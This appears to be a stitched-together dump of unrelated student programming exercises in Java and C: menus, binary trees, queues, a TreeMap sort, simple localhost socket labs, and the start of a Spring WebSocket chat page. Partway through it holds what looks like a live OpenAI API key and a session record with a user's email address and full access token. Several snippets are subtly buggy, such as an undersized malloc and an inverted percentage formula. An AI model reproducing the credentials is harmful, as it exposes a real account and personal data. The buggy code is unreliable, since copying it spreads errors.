            case 8:System.out.println("august and days 31");
            break;
            case 9:System.out.println("september and days 30");
            break;
            case 10:System.out.println("october and days 31");
            break;
            case 11:System.out.println("november and days 30");
            break;
            case 12:System.out.println("december and days 31");
            break;
            
            
        }
        
        
        
    }
    
    
}
import java.util.Scanner;
class HelloWorld {
    public static void main(String[] args) {
        int a;
        Scanner r=new Scanner(System.in);
        System.out.println("input a value");
        a=r.nextInt();
        
        for(int i=1;i<=a;i++)
        {
            if(a%i==0)
            {
                System.out.println(i+" "); 
                
            }
        }
        
    }
    
    
}
import java.util.ArrayList;
import java.util.Scanner;

public class StudentInformationSystem {

    private static ArrayList<Student> students = new ArrayList<>();
    private static Scanner scanner = new Scanner(System.in);

    public static void main(String[] args) {
        while (true) {
            displayMenu();
            int choice = scanner.nextInt();
            scanner.nextLine(); // Consume the newline character

            switch (choice) {
                case 1:
                    addStudent();
                    break;
                case 2:
                    viewStudentList();
                    break;
                case 3:
                    searchStudent();
                    break;
                case 4:
                    System.out.println("Exiting program. Goodbye!");
                    System.exit(0);
                default:
                    System.out.println("Invalid choice. Please try again.");
            }
        }
    }

    private static void displayMenu() {
        System.out.println("Student Information System Menu:");
        System.out.println("1. Add Student");
        System.out.println("2. View Student List");
        System.out.println("3. Search for Student");
        System.out.println("4. Exit");
        System.out.print("Enter your choice: ");
    }

    private static void addStudent() {
        System.out.print("Enter student ID: ");
        int id = scanner.nextInt();
        scanner.nextLine(); // Consume the newline character

        System.out.print("Enter student name: ");
        String name = scanner.nextLine();

        students.add(new Student(id, name));
        System.out.println("Student added successfully!");
    }

    private static void viewStudentList() {
        if (students.isEmpty()) {
            System.out.println("No students in the system yet.");
        } else {
            System.out.println("Student List:");
            for (Student student : students) {
                System.out.println("ID: " + student.getId() + ", Name: " + student.getName());
            }
        }
    }

    private static void searchStudent() {
        System.out.print("Enter student ID to search: ");
        int searchId = scanner.nextInt();
        scanner.nextLine(); // Consume the newline character

        boolean found = false;
        for (Student student : students) {
            if (student.getId() == searchId) {
                System.out.println("Student found: ID: " + student.getId() + ", Name: " + student.getName());
                found = true;
                break;
            }
        }

        if (!found) {
            System.out.println("Student with ID " + searchId + " not found.");
        }
    }

    private static class Student {
        private int id;
        private String name;

        public Student(int id, String name) {
            this.id = id;
            this.name = name;
        }

        public int getId() {
            return id;
        }

        public String getName() {
            return name;
        }
    }
}
import java.util.ArrayList;
import java.util.Scanner;

public class StudentInformationSystem {

    private static ArrayList<Student> students = new ArrayList<>();
    private static Scanner scanner = new Scanner(System.in);

    public static void main(String[] args) {
        while (true) {
            displayMenu();
            int choice = scanner.nextInt();
            scanner.nextLine(); // Consume the newline character

            switch (choice) {
                case 1:
                    addStudent();
                    break;
                case 2:
                    viewStudentList();
                    break;
                case 3:
                    searchStudent();
                    break;
                case 4:
                    System.out.println("Exiting program. Goodbye!");
                    System.exit(0);
                default:
                    System.out.println("Invalid choice. Please try again.");
            }
        }
    }

    private static void displayMenu() {
        System.out.println("Student Information System Menu:");
        System.out.println("1. Add Student");
        System.out.println("2. View Student List");
        System.out.println("3. Search for Student");
        System.out.println("4. Exit");
        System.out.print("Enter your choice: ");
    }

    private static void addStudent() {
        System.out.print("Enter student ID: ");
        int id = scanner.nextInt();
        scanner.nextLine(); // Consume the newline character

        System.out.print("Enter student name: ");
        String name = scanner.nextLine();

        students.add(new Student(id, name));
        System.out.println("Student added successfully!");
    }

    private static void viewStudentList() {
        if (students.isEmpty()) {
            System.out.println("No students in the system yet.");
        } else {
            System.out.println("Student List:");
            for (Student student : students) {
                System.out.println("ID: " + student.getId() + ", Name: " + student.getName());
            }
        }
    }

    private static void searchStudent() {
        System.out.print("Enter student ID to search: ");
        int searchId = scanner.nextInt();
        scanner.nextLine(); // Consume the newline character

        boolean found = false;
        for (Student student : students) {
            if (student.getId() == searchId) {
                System.out.println("Student found: ID: " + student.getId() + ", Name: " + student.getName());
                found = true;
                break;
            }
        }

        if (!found) {
            System.out.println("Student with ID " + searchId + " not found.");
        }
    }

    private static class Student {
        private int id;
        private String name;

        public Student(int id, String name) {
            this.id = id;
            this.name = name;
        }

        public int getId() {
            return id;
        }

        public String getName() {
            return name;
        }
    }
}
#include <stdio.h>
#include <stdlib.h>
 
/* A binary tree node has data, pointer to left child
   and a pointer to right child */
struct node {
    char data;
    struct node* left;
    struct node* right;
};
 
/* Prototypes for utility functions */
int search(char arr[], int strt, int end, char value);
struct node* newNode(char data);
 
/* Recursive function to construct binary of size len from
   Inorder traversal in[] and Preorder traversal pre[].  Initial values
   of inStrt and inEnd should be 0 and len -1.  The function doesn't
   do any error checking for cases where inorder and preorder
   do not form a tree */
struct node* buildTree(char in[], char pre[], int inStrt, int inEnd)
{
    static int preIndex = 0;
 
    if (inStrt > inEnd)
        return NULL;
 
    /* Pick current node from Preorder traversal using preIndex
    and increment preIndex */
    struct node* tNode = newNode(pre[preIndex++]);
 
    /* If this node has no children then return */
    if (inStrt == inEnd)
        return tNode;
 
    /* Else find the index of this node in Inorder traversal */
    int inIndex = search(in, inStrt, inEnd, tNode->data);
 
    /* Using index in Inorder traversal, construct left and
     right subtress */
    tNode->left = buildTree(in, pre, inStrt, inIndex - 1);
    tNode->right = buildTree(in, pre, inIndex + 1, inEnd);
 
    return tNode;
}
 
/* UTILITY FUNCTIONS */
/* Function to find index of value in arr[start...end]
   The function assumes that value is present in in[] */
int search(char arr[], int strt, int end, char value)
{
    int i;
    for (i = strt; i <= end; i++) {
        if (arr[i] == value)
            return i;
    }
}
 
/* Helper function that allocates a new node with the
   given data and NULL left and right pointers. */
struct node* newNode(char data)
{
    struct node* node = (struct node*)malloc(sizeof(struct node));
    node->data = data;
    node->left = NULL;
    node->right = NULL;
 
    return (node);
}
 
/* This function is here just to test buildTree() */
void printInorder(struct node* node)
{
    if (node == NULL)
        return;
 
    /* first recur on left child */
    printInorder(node->left);
 
    /* then print the data of node */
    printf("%c ", node->data);
 
    /* now recur on right child */
    printInorder(node->right);
}
 
/* Driver program to test above functions */
int main()
{
    char in[] = { 'D', 'G', 'B', 'A', 'H', 'E', 'I', 'C', 'F' };
    char pre[] = { 'A', 'B', 'D', 'G', 'C', 'E', 'H', 'I', 'F' };
    int len = sizeof(in) / sizeof(in[0]);
    struct node* root = buildTree(in, pre, 0, len - 1);
 
    /* Let us test the built tree by printing Inorder traversal */
    printf("Inorder traversal of the constructed tree is \n");
    printInorder(root);
    getchar();
}
//OUTPUT:

Inorder traversal of the constructed tree is 
D G B A H E I C F 
#include <stdio.h>
#include <stdlib.h>

typedef struct Node 
{
    char data;
    struct Node* left;
    struct Node* right;
} Node;

Node* createNode(char value)
{
    Node* newNode = (Node*)malloc(sizeof(Node*));
    newNode -> data = value;
    newNode -> left = NULL;
    newNode -> right = NULL;
    
    return newNode;
}

void preOrder(Node* root)
{
    if(root != NULL) {
        printf("%c ", root -> data);
        preOrder(root -> left);
        preOrder(root -> right);
    }
}

void inOrder(Node* root)
{
    if(root != NULL) {
        inOrder(root -> left);
        printf("%c ", root -> data);
        inOrder(root -> right);
    }
}

void postOrder(Node* root)
{
    if(root != NULL) {
        postOrder(root -> left);
        postOrder(root -> right);
        printf("%c ", root -> data);
    }
}
int main() {
   
   Node* root = createNode('A');
   root ->left = createNode('B');
   root -> right = createNode('C');
   root -> left -> left = createNode('D');
   root -> left -> right = createNode('E');
   root -> right -> left = createNode('F');
   root -> right -> right = createNode('G');
   
   printf("Pre-Order Traversal: ");
   printf("\n");
   preOrder(root);
   
   printf("\n\nIn-Order Traversal: ");
   printf("\n");
   inOrder(root);
   
   printf("\n\nPost-Order Traversal: ");
   printf("\n");
   postOrder(root);

    return 0;
}

//OUTPUT:

Pre-Order Traversal: 
A B D E C F G 

In-Order Traversal: 
D B E A F C G 

Post-Order Traversal: 
D E B F G C A 
Question: 
Write a C program to create a binary tree as shown in bellow, with the following elements: 50, 17, 72, 12, 23, 54, 76, 9, 14, 25 and 67. After creating the tree, perform an in-order traversal to display the elements. 

Answer:

#include <stdio.h>
#include <stdlib.h>

struct Node 
{
    int data;
    struct Node* left;
    struct Node* right;
};

struct Node* createNode(int value)
{
    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));
    newNode -> data = value;
    newNode -> left = NULL;
    newNode -> right = NULL;
    
    return newNode;
}
void inOrderTraversal(struct Node* root)
{
    if(root!=NULL) {
        inOrderTraversal(root -> left);
        printf("%d ", root -> data);
        inOrderTraversal(root -> right);
    }
}

int main() {
   struct Node* root = createNode(50);
   root -> left = createNode(17);
   root -> right = createNode(72);
   
   root -> left -> left = createNode(12);
   root -> left -> right = createNode(23);
   
   root -> left -> left -> left = createNode(9);
   root -> left -> left -> right = createNode(14);
   
   root -> left -> right -> right = createNode(25);
   
   root -> right -> left = createNode(54);
   root -> right -> right = createNode(76);
   root -> right -> left -> right = createNode(67);
   inOrderTraversal(root);

    return 0;
}

//OUTPUT:

In-Order Traversal: 
9 12 14 17 23 25 50 54 67 72 76 
import java.net.*;
import java.io.*;
import java.util.*;
import java.util.stream.Collectors;

public class Main {

    public static void main(String[] args) {
        try {
            // Step 1: Open a connection to the URL and create a BufferedReader to read from it
            URL url = new URL("http://wiki.puzzlers.org/pub/wordlists/unixdict.txt");
            BufferedReader reader = new BufferedReader(new InputStreamReader(url.openStream()));

            // Step 2: Group words by sorted characters (anagrams)
            Map<String, List<String>> anagrams = reader.lines()
                    .collect(Collectors.groupingBy(Main::sortedString));

            // Step 3: Find the maximum number of anagrams in a single group
            int maxAnagrams = anagrams.values().stream()
                    .mapToInt(List::size)
                    .max()
                    .orElse(0);
          
			// Step 4: Print the group(s) with the maximum number of anagrams, sorted lexicographically

		// Stream through the values of the 'anagrams' map, which represent groups of anagrams
anagrams.values().stream()
        // Filter to include only groups with the maximum number of anagrams
        .filter(group -> group.size() == maxAnagrams)
        
        // For each qualifying group, sort its elements lexicographically
        .peek(Collections::sort)
        
        // Sort the groups based on the lexicographically first element of each group
        .sorted(Comparator.comparing(list -> list.get(0)))
        
        // For each sorted group, print it as a space-separated string
        .forEach(group -> System.out.println(String.join(" ", group)));
          
          
                // Step 5: Close the BufferedReader
            reader.close();
        } catch (IOException e) {
            // Handle IOException if it occurs
            e.printStackTrace();
        }
    }

private static String sortedString(String word) {
    // Step 1: Convert the word to a character array
    char[] letters = word.toCharArray();
    
    // Step 2: Sort the characters in lexicographic order
    Arrays.sort(letters);
    
    // Step 3: Create a new string from the sorted character array
    return new String(letters);
}
# include <stdio.h>
# define MAX 6
int CQ[MAX];
int front = 0;
int rear = 0;
int count = 0;
void insertCQ(){
int data;
if(count == MAX) {
printf("\n Circular Queue is Full");
}
else {
printf("\n Enter data: ");
scanf("%d", &data);
CQ[rear] = data;
rear = (rear + 1) % MAX;
count ++;
printf("\n Data Inserted in the Circular Queue ");
    }
}
void deleteCQ()
{
    if(count == 0) {
        printf("\n\nCircular Queue is Empty..");
        
    }
        else {
            printf("\n Deleted element from Circular Queue is %d ", CQ[front]);
            front = (front + 1) % MAX;
            count --; 
        }
}
void displayCQ()
{
    int i, j;
    if(count == 0) {
        printf("\n\n\t Circular Queue is Empty "); }
        else {
            printf("\n Elements in Circular Queue are: ");
            j = count;
            for(i = front; j != 0; j--) {
                printf("%d\t", CQ[i]);
                i = (i + 1) % MAX; 
            }
        } 
}
int menu() {
    int ch;
    printf("\n \t Circular Queue Operations using ARRAY..");
    printf("\n -----------**********-------------\n");
    printf("\n 1. Insert ");
    printf("\n 2. Delete ");
    printf("\n 3. Display");
    printf("\n 4. Quit ");
    printf("\n Enter Your Choice: ");
    scanf("%d", &ch);
    return ch;
    
}
void main(){
    int ch;
    do {
        ch = menu();
        switch(ch) {
            case 1: insertCQ(); break;
            case 2: deleteCQ(); break;
            case 3: displayCQ(); break;
            case 4:
            return;
            default:
            printf("\n Invalid Choice ");
            
        }
        } while(1);
}
#include <stdio.h>
#include <stdlib.h>
#define SIZE 5

int front = -1;
int rear = -1;
int Q[SIZE];

void enqueue();
void dequeue();
void show();

int main ()
{
    int choice;
    while (1)
    {
        printf("\nEnter 1 for enqueue\n");
        printf("Enter 2 for dequeue\n");
        printf("Enter 3 to see the Queue Elements\n");
        printf("Enter 4 to Quit\n");
        printf("\nEnter Your Choice: ");
        scanf("%d", &choice); 

        switch (choice)
        {
        case 1:
            enqueue();
            break; 
        case 2:
            dequeue();
            break;
        case 3:
            show();
            break;
        case 4:
            exit(0);
        default:
            printf("\nWrong choice\n");
        }
    }

    return 0;
}

void enqueue()
{
    int val;
    if (rear == SIZE - 1)
        printf("\nQueue is Full.");
    else
    {
        if (front == -1)
            front = 0;
        printf("\nInsert the value: ");
        scanf("%d", &val); 
        rear = rear + 1;
        Q[rear] = val;
    }
}

void dequeue()
{
    if (front == -1 || front > rear)
        printf("\nQueue Is Empty.");
    else
    {
        printf("\nDeleted Element is %d", Q[front]);
        front = front + 1;
    }
}
void show()
{
    if (front == rear == -1 || front > rear)
    {
        printf("\nQueue is Empty.");
    }
    else
    {
        for (int i = front; i <= rear; i++) 
            printf("%d\t", Q[i]);
    }
}
#include <stdio.h>
#define MAX 6
int Q[MAX];
int front, rear;
void insertQ()
{
    int data;
    if(rear==MAX) {
        printf("\nLinear Queue is Full: we cannot add an element.");
    }
    else{
        printf("Enter Data: ");
        scanf("\n%d", & data );
        Q[rear] = data;
        rear++;
    }
}
void deleteQ()
{
    if(rear==front){
        printf("Queue is Empty. we cannot delete an element.");
    }
    else {
        printf("\nDeleted Element is %d ", Q[front]);
        front++;
    }
}

void displayQ()
{
    int i;
    if(front==rear) {
        printf("\nQueue is Empty. we dont Have any element yet!");
    }
    else {
        printf("\nElements in the Queue is : ");
        for(int i = front; i<rear; i++){
            printf("%d ", Q[i]);
        }
    }
}

int menu()
{
    int choice;
    //clrscr();
    printf("\nQueus Operation using Array: ");
    printf("\n 1. insert Element.");
    printf("\n 2. Delete Element.");
    printf("\n 3. Display Elements.");
    printf("\n 4. Quit.");
    
    printf("\n\nEnter Your Choice: ");
    scanf("%d", & choice);
    return choice;
}

int main() {
   int choice;
   do
   {
       choice = menu();
       switch(choice) 
       {
           case 1: insertQ(); break;
           case 2: deleteQ(); break;
           case 3: displayQ(); break;
       }
       //getchoice();
   }
   while(1);

    //return 0;
}

//OUTPUT:
Queus Operation using Array: 
1. insert Element.
2. Delete Element.
3. Display Elements.
4. Quit.

Enter Your Choice: 1
Enter Data: 50
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Enter Data: 60
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Enter Data: 70
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 50 60 70 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Enter Data: 80
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 50 60 70 80 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 2
Deleted Element is 50 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 60 70 80 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Enter Data: 20
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Enter Data: 30
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Linear Queue is Full: we cannot add an element.
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 60 70 80 20 30 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Linear Queue is Full: we cannot add an element.
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 60 70 80 20 30 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 2
Deleted Element is 60 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 70 80 20 30 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Linear Queue is Full: we cannot add an element.
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 
/*
 * Une collection TreeMap est par défaut triée avec ses clés, mais si vous avez besoin de trier une TreeMap
 * par valeurs, Java fournit un moyen en utilisant la classe Comparator.
 */

package TreeMap;

import java.util.*;

/**
 *
 * @author fabrice
 */
class Tri_par_valeurs {
  
  // Static method which return type is Map and which extends Comparable. 
  // Comparable is a comparator class which compares values associated with two keys.  
  public static <K, V extends Comparable<V>> Map<K, V> valueSort(final Map<K, V> map) {
      
      // compare the values of two keys and return the result
      Comparator<K> valueComparator = (K k1, K k2) -> {
          int comparisonResult = map.get(k1).compareTo(map.get(k2));
          if (comparisonResult == 0) return 1;
          else return comparisonResult;
      };
      
      // Sorted Map created using the comparator
      Map<K, V> sorted = new TreeMap<K, V>(valueComparator); // create a new empty TreeMap ordered according to the given comparator
      
      sorted.putAll(map); // copy mappîngs of "map" into "sorted" an order them by value
      
      return sorted;
  }
  
    public static void main(String[] args) {
        TreeMap<Integer, String> map = new TreeMap<Integer, String>();
        
        // Feed the Map
        map.put(1, "Anshu"); 
        map.put(5, "Rajiv"); 
        map.put(3, "Chhotu"); 
        map.put(2, "Golu"); 
        map.put(4, "Sita"); 
        
        // Display elements before sorting 
        Set unsortedSet = map.entrySet();
        Iterator i1 = unsortedSet.iterator();
        while (i1.hasNext()) {
            Map.Entry mapEntry = (Map.Entry) i1.next();
            System.out.println("Key: " + mapEntry.getKey() + " - Value: " + mapEntry.getValue());
        }
        
        // call method valueSort() and assign the output to sortedMap
        Map sortedMap = valueSort(map);
        System.out.println(sortedMap);
        
        // Display elements after sorting 
        Set sortedSet = sortedMap.entrySet();
        Iterator i2 = sortedSet.iterator();
        while (i2.hasNext()) {
            Map.Entry mapEntry = (Map.Entry) i2.next();
            System.out.println("Key: " + mapEntry.getKey() + " - Value: " + mapEntry.getValue());
        }
    }
}
import java.util.Scanner;
class Mark{
	private int markM1,markM2,markM3;
	private int totalMark,percentage;
	void input(){
		Scanner sc=new Scanner(System.in);
		System.out.println("Enter your Mark of the 1st Subject:");
		markM1=sc.nextInt();
		System.out.println("Enter your Mark of the 2nd Subject:");
		markM2=sc.nextInt();
		System.out.println("Enter your Mark of the 3rd Subject:");
		markM3=sc.nextInt();
	}
	private void markObtain(){
		totalMark=markM1+markM2+markM3;
		percentage=(300/totalMark)*100;
	}
	void output(){
		markObtain();
		System.out.println("Mark Obtain in 1st Subject: "+markM1);
		System.out.println("Mark Obtain in 2nd Subject: "+markM2);
		System.out.println("Mark Obtain in 1st Subject: "+markM3);
		System.out.println("Total-Mark= "+totalMark);
		System.out.println("percentage= "+percentage);
	}
}
class Student{
	private int rollNumber;
	private String name;
	private Mark m=new Mark();
	void input(){
		Scanner sc=new Scanner(System.in);
		System.out.println("Enter your ROLL-NUMBER:");
		rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter your NAME:");
		name=sc.nextLine();
		m.input();
	}
	void output(){
		System.out.println("Roll: "+rollNumber);
		System.out.println("Name: "+name);
		m.output();
	}
}
class StudentInfo{
	public static void main(String args[]){
		Student s=new Student();
		s.input();
		s.output();
	}
}
public class Exercise31 {
    public static void main(String[] args) {
        // Display Java version
        System.out.println("\nJava Version: " + System.getProperty("java.version"));
        
        // Display Java runtime version
        System.out.println("Java Runtime Version: " + System.getProperty("java.runtime.version"));
        
        // Display Java home directory
        System.out.println("Java Home: " + System.getProperty("java.home"));
        
        // Display Java vendor name
        System.out.println("Java Vendor: " + System.getProperty("java.vendor"));
        
        // Display Java vendor URL
        System.out.println("Java Vendor URL: " + System.getProperty("java.vendor.url"));
        
        // Display Java class path
        System.out.println("Java Class Path: " + System.getProperty("java.class.path") + "\n");
    }
}


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

{
    "error": {
        "message": "You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors.",
        "type": "insufficient_quota",
        "param": null,
        "code": "insufficient_quota"
    }
}



{"user":{"id":"user-LXaUaVde1TljvzyYdEys8fm5","name":"qncity7ahqv@gmail.com","email":"qncity7ahqv@gmail.com","image":"https://s.gravatar.com/avatar/66eff1ca1d13687c8ddefaff7679f78d?s=480&r=pg&d=https%3A%2F%2Fcdn.auth0.com%2Favatars%2Fqn.png","picture":"https://s.gravatar.com/avatar/66eff1ca1d13687c8ddefaff7679f78d?s=480&r=pg&d=https%3A%2F%2Fcdn.auth0.com%2Favatars%2Fqn.png","idp":"auth0","iat":1699936137,"mfa":false,"groups":[],"intercom_hash":"2ead6d0bbdb6f983f7be9e9581677eb3432ef8c4bb74b2e38cd8ecff0ee2e52b"},"expires":"2024-02-14T09:39:28.424Z","accessToken":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ik1UaEVOVUpHTkVNMVFURTRNMEZCTWpkQ05UZzVNRFUxUlRVd1FVSkRNRU13UmtGRVFrRXpSZyJ9.eyJodHRwczovL2FwaS5vcGVuYWkuY29tL3Byb2ZpbGUiOnsiZW1haWwiOiJxbmNpdHk3YWhxdkBnbWFpbC5jb20iLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZX0sImh0dHBzOi8vYXBpLm9wZW5haS5jb20vYXV0aCI6eyJwb2lkIjoib3JnLTVncDlXTGwwODJhMUtVQ1BaWXlVTHliViIsInVzZXJfaWQiOiJ1c2VyLUxYYVVhVmRlMVRsanZ6eVlkRXlzOGZtNSJ9LCJpc3MiOiJodHRwczovL2F1dGgwLm9wZW5haS5jb20vIiwic3ViIjoiYXV0aDB8NjNmMTAzODIxODA1NDg3OTZjMWU0Y2ZmIiwiYXVkIjpbImh0dHBzOi8vYXBpLm9wZW5haS5jb20vdjEiLCJodHRwczovL29wZW5haS5vcGVuYWkuYXV0aDBhcHAuY29tL3VzZXJpbmZvIl0sImlhdCI6MTY5OTkzNjEzNywiZXhwIjoxNzAwODAwMTM3LCJhenAiOiJUZEpJY2JlMTZXb1RIdE45NW55eXdoNUU0eU9vNkl0RyIsInNjb3BlIjoib3BlbmlkIHByb2ZpbGUgZW1haWwgbW9kZWwucmVhZCBtb2RlbC5yZXF1ZXN0IG9yZ2FuaXphdGlvbi5yZWFkIG9yZ2FuaXphdGlvbi53cml0ZSBvZmZsaW5lX2FjY2VzcyJ9.KPJeQd6-dnaRca4JLrxtF-0h4ZM5igA7_ard9GkJ_JZVY1rz9QjTzW4gm0xuZd78qf1XWtn9SzIAU0WXlmjIDKe4plREIdcleWca_ClSl49SdeuRUy1XvH6BEU-OKagwoNVkIzbAsGX1duxxYLPUX-Hu94v3cnF6d9yIRX0UUUWyF-mar5QWeHvQrA9KcYmqOgEvT2AM20KlzKpJ51RZiGNssjRm3ZWGGO5AMdl8xpNbOOf4L5_Dnf_KKFKpV48n-JqCRCT_yeOPEz0SWNFI2kMVQgpfP5MpR6xl7tIEZ3Tn40qVc2wSx0GWHw960Q_mRZYmqb-ClguFpsMo-c6pfw","authProvider":"auth0"}
import java.util.*;
import java.net.*;
import java.io.*;

public class Server {

    public static void main(String[] args) {

        for (String portStr : args) {
            try {
                int port = Integer.parseInt(portStr);
                new Thread(new ServerTask(port)).start();
            } catch (NumberFormatException e) {
                System.out.println("Incorrect port: " + portStr);
            }
        }
    }

    private static class ServerTask implements Runnable {
        private int port;

        public ServerTask(int port) {
            this.port = port;
        }

        public void run() {
            try (ServerSocket serverSocket = new ServerSocket(port)) {
                while (true) {
                    Socket clientSocket = serverSocket.accept();
                    new Thread(new ClientHandler(clientSocket)).start();
                }
            } catch (IOException e) {
                System.out.println("Error starting the server on port " + port);
            }
        }
    }

    private static class ClientHandler implements Runnable {
        private Socket clientSocket;

        public ClientHandler(Socket clientSocket) {
            this.clientSocket = clientSocket;
        }

        public void run() {
            try (InputStream input = clientSocket.getInputStream()) {
                byte[] buffer = new byte[20];
                int bytesRead = input.read(buffer);

                String receiveData = new String(buffer, 0, bytesRead);
                System.out.println(receiveData);
            } catch (IOException e) {
                System.out.println("Error receiving data from client");
                e.printStackTrace();
            } finally {
                try {
                    clientSocket.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}
import java.util.*;
import java.net.*;
import java.io.*;
import util.SocketFactory;

class Main
{
    public static void main(String[] args) throws IOException
    {
        byte[] data  = new byte[20];
        String output = "";

        ServerSocket socket = SocketFactory.buildSocket();

        Socket clientSocket = socket.accept(); //oczekiwanie na polaczenie, oraz akceptacja

        InputStream input = clientSocket.getInputStream();
        
        input.read(data, 0, 20);
        output = new String(data, 0, 20);
        System.out.println(output);


    }
}
import java.util.*;
import java.net.*;
import java.io.*;

class Sock{
    public static String getFlag(String hostName, Integer port){
        int bufferSize = 20;
        byte[] data = new byte[bufferSize];
        String output = "";

        try{
            Socket socket = new Socket(hostName, port);
            for(int i = 0; i < bufferSize; i++){
                if(socket.getInputStream().read(data, i, 1) <= 0){
                    break;
                }
            //socket.getInputStream().read(data, i, 1); //0 to indeks gdzie zaczynay,
            output = output + (char) data[i]; 
            }
            socket.close();
        }
        catch(IOException e){
            System.out.println(e);
        }

        return output;
    }
}

class Main
{
    public static void main(String[] args)
    {
        Scanner scan = new Scanner(System.in);
        Integer port = scan.nextInt();

        System.out.println(Sock.getFlag("127.0.0.1", port)); //wyprintuje SUCCESS

    }
}
import java.util.*;
import java.net.*;
import java.io.*;

class Sock{
    public static String getFlag(String hostName, Integer port){
        byte[] data = new byte[20];
        try{
            Socket socket = new Socket(hostName, port);
            socket.getInputStream().read(data, 0, 20); //0 to indeks gdzie zaczynay,
            socket.close();
        }
        catch(IOException e){
            System.out.println(e);
        }

        return new String(data, 0, 20);
    }
}

class Main
{
    public static void main(String[] args)
    {
        Scanner scan = new Scanner(System.in);
        Integer port = scan.nextInt();

        System.out.println(Sock.getFlag("127.0.0.1", port)); //wyprintuje SUCCESS

    }
}
<!DOCTYPE html>
<html>
  <head>
      <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
      <title>Spring Boot WebSocket Chat Application | CalliCoder</title>
      <link rel="stylesheet" href="css/main.css" />
  </head>
  <body>
    <noscript>
      <h2>Sorry! Your browser doesn't support Javascript</h2>
    </noscript>

    <div id="username-page">
        <div class="username-page-container">
            <h1 class="title">Type your username</h1>
            <form id="usernameForm" name="usernameForm">
                <div class="form-group">
                    <input type="text" id="name" placeholder="Username" autocomplete="off" class="form-control" />
                </div>
                <div class="form-group">
                    <button type="submit" class="accent username-submit">Start Chatting</button>
                </div>
            </form>
        </div>
    </div>

    <div id="chat-page" class="hidden">
        <div class="chat-container">
            <div class="chat-header">
                <h2>Spring WebSocket Chat Demo</h2>
            </div>
            <div class="connecting">
                Connecting...
            </div>
            <ul id="messageArea">

            </ul>
            <form id="messageForm" name="messageForm" nameForm="messageForm">
                <div class="form-group">
                    <div class="input-group clearfix">
                        <input type="text" id="message" placeholder="Type a message..." autocomplete="off" class="form-control"/>
                        <button type="submit" class="primary">Send</button>
                    </div>
                </div>
            </form>
        </div>
    </div>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/sockjs-client/1.1.4/sockjs.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/stomp.js/2.3.3/stomp.min.js"></script>
    <script src="js/main.js"></script>
  </body>
</html>

------------------------------------
pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>

	<groupId>com.example</groupId>
	<artifactId>websocket-demo</artifactId>
	<version>0.0.1-SNAPSHOT</version>
	<packaging>jar</packaging>

	<name>websocket-demo</name>
	<description>Spring Boot WebSocket Chat Demo</description>

	<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.5.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>

	<properties>
		<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
		<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
		<java.version>11</java.version>
	</properties>

	<dependencies>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-websocket</artifactId>
		</dependency>

		<!-- RabbitMQ Starter Dependency (Not required if you're using the simple in-memory broker for STOMP) -->
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-amqp</artifactId>
		</dependency>

		<!-- Following dependency is required for Full Featured STOMP Broker Relay -->
		<dependency>
		    <groupId>org.springframework.boot</groupId>
		    <artifactId>spring-boot-starter-reactor-netty</artifactId>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-devtools</artifactId>
			<scope>runtime</scope>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
